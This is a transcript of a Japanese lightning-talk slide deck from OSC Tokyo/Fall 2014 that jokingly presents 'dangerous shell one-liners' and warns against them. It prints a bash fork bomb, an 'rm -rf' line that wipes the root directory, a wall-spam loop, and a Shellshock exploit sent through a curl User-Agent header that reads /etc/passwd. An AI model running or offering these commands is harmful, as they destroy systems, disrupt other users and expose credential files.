20141019 OSC Tokyo/Fall LT 【危険シェル芸】

Post on 24-May-2015

10.668 views 1 download

description

#危険

Transcript of 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

第 1 回危険シェル芸勉強会

USP 友の会上田隆一

みなさんOSC お疲れさまでした

2014/10/19 OSC Tokyo/Fall 2014 2

しかし本日はここからが本番です

2014/10/19 OSC Tokyo/Fall 2014 3

第 1 回危険シェル芸勉強会を勝手に開催致します

2014/10/19 OSC Tokyo/Fall 2014 4

危険シェル芸とは• マウスも使わず、ソースコードも残さず、

GUI ツールを立ち上げる間もなく、

あらゆる破壊・迷惑・自滅行為を

CLI 端末へのコマンド入力一撃で終わらすこと。

2014/10/19 OSC Tokyo/Fall 2014 5

http://blog.ueda.asia/?page_id=3752

思い出す夏の危険シェル芸騒動

togetter より

大炎上 65000PV

首謀者 1

首謀者 22014/10/19 OSC Tokyo/Fall 2014 6

戦果(?)• 初日だけで見知らぬ方のマシン 3 台轟沈

• その他自爆者多数

• Docker 上で試したらホストマシン沈黙の報告

• 自分の本がサイト経由で 1 冊だけ売れた

• フォロワーが 1 人減った2014/10/19 OSC Tokyo/Fall 2014 7

本日はこの中から特に危険なのを勉強

ちゃんとマスターしましょう

2014/10/19 OSC Tokyo/Fall 2014 8

ということで Let's try!!!

2014/10/19 OSC Tokyo/Fall 2014 9

ひとつめ

:(){: | : &};:

2014/10/19 OSC Tokyo/Fall 2014 10

:(){: | : &};:

• いわゆるフォーク爆弾

• 関数「 : 」のプロセスがマシンに溢れて再起不能

• Docker 越しにホストを葬る殺傷力

2014/10/19 OSC Tokyo/Fall 2014 11

つまり一言で言うと・・・

危険2014/10/19 OSC Tokyo/Fall 2014 12

ふたつめ• シェルスクリプトにて

2014/10/19 OSC Tokyo/Fall 2014 13

rm -rf temp /* テンポラリを削除 */

出典 : @moguno さんより

rm -rf temp /* テンポラリを削除 */

• 消えるのは temp と /*

• シェルスクリプトのコメントアウトは

#

2014/10/19 OSC Tokyo/Fall 2014 14

覚えておきたいのは・・・

2014/10/19 OSC Tokyo/Fall 2014 15

危険

みっつめ

2014/10/19 OSC Tokyo/Fall 2014 16

# for x in `seq 1 10000`; do wall ' 我は root 。神だ ' ; done

出典 : @ryoana14 さんより

# for x in `seq 1 10000`; do wall ' 我は root 。神だ ' ; done

• 誰も端末使えないぞ!

• すごいポンポン言う!

2014/10/19 OSC Tokyo/Fall 2014 17

即ち・・・

迷惑2014/10/19 OSC Tokyo/Fall 2014 18

アーンド

2014/10/19 OSC Tokyo/Fall 2014 19

危険

世界は危険に飢えている発言

2014/10/19 OSC Tokyo/Fall 2014 20

そんなある日、一つのワンライナーが

Twitterに出回る

2014/10/19 OSC Tokyo/Fall 2014 21

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

2014/10/19 OSC Tokyo/Fall 2014 22

2014/10/19 OSC Tokyo/Fall 2014 23

2014/10/19 OSC Tokyo/Fall 2014 24

!?

$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3'

http://localhost/index.php

2014/10/19 OSC Tokyo/Fall 2014 25

2014/10/19 OSC Tokyo/Fall 2014 26

あかんやろ2014/10/19 OSC Tokyo/Fall 2014 27

危険シェル芸で遊んでいたらシェルが危険だった

2014/10/19 OSC Tokyo/Fall 2014 28

Shellshock 後の世界

2014/10/19 OSC Tokyo/Fall 2014 29

私の

自著が危険書物扱い

2014/10/19 OSC Tokyo/Fall 2014 30

※ フォローしておくと , bash を使ってますがコマンド・ファイル・パイプが主眼で bash どっぷりというわけでもない本デス

なぜか安否を確認される

2014/10/19 OSC Tokyo/Fall 2014 31

なぜか原稿を依頼される(焼け太り)

2014/10/19 OSC Tokyo/Fall 2014 32

結論• 危険シェル芸は危険• Shellshock は危険• 人生は危険

• 安全な方が精神的・肉体的によい– 「世界は危険に飢えている」なんて言って

ごめんなさいごめんなさいごめんなさいごめんなさいごぬんなさい!

2014/10/19 OSC Tokyo/Fall 2014 33

以上。

2014/10/19 OSC Tokyo/Fall 2014 34